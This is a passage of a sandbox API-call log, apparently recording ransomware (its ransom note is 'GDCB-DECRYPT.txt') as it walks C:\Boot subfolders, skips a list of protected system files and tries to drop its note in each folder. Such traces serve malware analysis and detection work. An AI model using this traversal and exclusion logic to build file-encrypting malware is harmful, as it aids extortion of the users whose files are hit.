VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.579] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.579] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.579] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.579] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt" [0169.579] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.579] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0169.579] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0169.579] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0169.579] lstrlenW (lpString="C:\\Boot\\tr-TR\\GDCB-DECRYPT.txt") returned 30 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.579] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.579] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.580] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.580] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.580] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.580] lstrcatW (in: lpString1="C:\\Boot\\tr-TR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned="C:\\Boot\\tr-TR\\memtest.exe.mui" [0169.580] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.580] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0169.580] lstrlenW (lpString="C:\\Boot\\tr-TR\\memtest.exe.mui") returned 29 [0169.580] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.580] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.580] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0169.580] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.580] lstrcmpW (lpString1="uk-UA", lpString2=".") returned 1 [0169.580] lstrcmpW (lpString1="uk-UA", lpString2="..") returned 1 [0169.580] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="uk-UA" | out: lpString1="C:\\Boot\\uk-UA") returned="C:\\Boot\\uk-UA" [0169.580] lstrcatW (in: lpString1="C:\\Boot\\uk-UA", lpString2="\\" | out: lpString1="C:\\Boot\\uk-UA\\") returned="C:\\Boot\\uk-UA\\" [0169.580] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.580] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.580] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.581] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0169.581] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0169.581] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a5018 [0169.581] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.581] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.581] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.581] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.581] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.581] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.581] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.581] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0169.581] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0169.581] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.581] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.581] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.581] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.581] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt" [0169.581] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0169.581] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.581] FindNextFileW (in: hFindFile=0x5a5018, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.581] FindClose (in: hFindFile=0x5a5018 | out: hFindFile=0x5a5018) returned 1 [0169.581] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.581] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt") returned 31 [0169.581] CreateFileW (lpFileName="C:\\Boot\\uk-UA\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\uk-ua\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.581] GetLastError () returned 0x50 [0169.581] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.582] lstrlenW (lpString="C:\\Boot\\uk-UA\\") returned 14 [0169.582] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="*" | out: lpString1="C:\\Boot\\uk-UA\\*") returned="C:\\Boot\\uk-UA\\*" [0169.582] FindFirstFileW (in: lpFileName="C:\\Boot\\uk-UA\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4958 [0169.582] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.582] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.582] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.582] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.582] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.582] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.582] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.582] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned="C:\\Boot\\uk-UA\\bootmgr.exe.mui" [0169.582] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.582] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0169.582] lstrlenW (lpString="C:\\Boot\\uk-UA\\bootmgr.exe.mui") returned 29 [0169.582] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.582] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.582] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.582] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.582] lstrcatW (in: lpString1="C:\\Boot\\uk-UA\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt" [0169.582] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.582] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0169.582] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0169.582] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0169.590] lstrlenW (lpString="C:\\Boot\\uk-UA\\GDCB-DECRYPT.txt") returned 30 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.590] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.590] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.590] FindNextFileW (in: hFindFile=0x5a4958, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.590] FindClose (in: hFindFile=0x5a4958 | out: hFindFile=0x5a4958) returned 1 [0169.591] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.591] lstrcmpW (lpString1="zh-CN", lpString2=".") returned 1 [0169.591] lstrcmpW (lpString1="zh-CN", lpString2="..") returned 1 [0169.591] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-CN" | out: lpString1="C:\\Boot\\zh-CN") returned="C:\\Boot\\zh-CN" [0169.591] lstrcatW (in: lpString1="C:\\Boot\\zh-CN", lpString2="\\" | out: lpString1="C:\\Boot\\zh-CN\\") returned="C:\\Boot\\zh-CN\\" [0169.591] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.591] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.591] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0169.591] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0169.591] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a49d8 [0169.591] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.591] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.591] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.591] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.591] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.591] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.591] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.591] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0169.591] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0169.591] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.591] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.591] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.592] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.592] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt" [0169.592] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0169.592] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.592] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.592] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.592] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.592] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0169.592] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0169.592] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.592] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.592] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.592] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.592] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt") returned 31 [0169.592] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-cn\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.592] GetLastError () returned 0x50 [0169.592] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.592] lstrlenW (lpString="C:\\Boot\\zh-CN\\") returned 14 [0169.592] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-CN\\*") returned="C:\\Boot\\zh-CN\\*" [0169.592] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4fd8 [0169.593] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.593] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.593] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.593] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.593] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.593] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.593] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.593] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned="C:\\Boot\\zh-CN\\bootmgr.exe.mui" [0169.593] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.593] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0169.593] lstrlenW (lpString="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned 29 [0169.593] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.593] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.593] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.593] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.593] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt" [0169.593] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.593] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0169.593] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0169.593] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0169.593] lstrlenW (lpString="C:\\Boot\\zh-CN\\GDCB-DECRYPT.txt") returned 30 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.593] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.593] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.594] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.594] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.594] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.594] lstrcatW (in: lpString1="C:\\Boot\\zh-CN\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned="C:\\Boot\\zh-CN\\memtest.exe.mui" [0169.594] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.594] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0169.594] lstrlenW (lpString="C:\\Boot\\zh-CN\\memtest.exe.mui") returned 29 [0169.594] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.594] FindNextFileW (in: hFindFile=0x5a4fd8, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0169.594] FindClose (in: hFindFile=0x5a4fd8 | out: hFindFile=0x5a4fd8) returned 1 [0169.594] FindNextFileW (in: hFindFile=0x5a4b18, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0169.594] lstrcmpW (lpString1="zh-HK", lpString2=".") returned 1 [0169.594] lstrcmpW (lpString1="zh-HK", lpString2="..") returned 1 [0169.594] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="zh-HK" | out: lpString1="C:\\Boot\\zh-HK") returned="C:\\Boot\\zh-HK" [0169.594] lstrcatW (in: lpString1="C:\\Boot\\zh-HK", lpString2="\\" | out: lpString1="C:\\Boot\\zh-HK\\") returned="C:\\Boot\\zh-HK\\" [0169.594] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.594] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.595] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0169.595] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0169.595] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x5a4d18 [0169.595] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.595] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.595] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.595] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.595] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.595] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0169.595] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0169.595] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned="C:\\Boot\\zh-HK\\bootmgr.exe.mui" [0169.595] lstrlenW (lpString="C:\\Boot\\zh-HK\\bootmgr.exe.mui") returned 29 [0169.595] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.595] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.595] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.595] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.595] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt" [0169.595] lstrlenW (lpString="C:\\Boot\\zh-HK\\GDCB-DECRYPT.txt") returned 30 [0169.595] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.595] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0169.595] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0169.595] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0169.595] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\zh-HK\\memtest.exe.mui") returned="C:\\Boot\\zh-HK\\memtest.exe.mui" [0169.595] lstrlenW (lpString="C:\\Boot\\zh-HK\\memtest.exe.mui") returned 29 [0169.595] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0169.595] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0169.595] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.595] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.595] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt") returned 31 [0169.595] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\zh-hk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.595] GetLastError () returned 0x50 [0169.595] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.596] lstrlenW (lpString="C:\\Boot\\zh-HK\\") returned 14 [0169.596] lstrcatW (in: lpString1="C:\\Boot\\zh-HK\\", lpString2="*" | out: lpString1="C:\\Boot\\zh-HK\\*") returned="C:\\Boot\\zh-HK\\*" [0169.596] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x5a4e98 [0169.596] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.596] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0169.596] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.596] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.596] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) 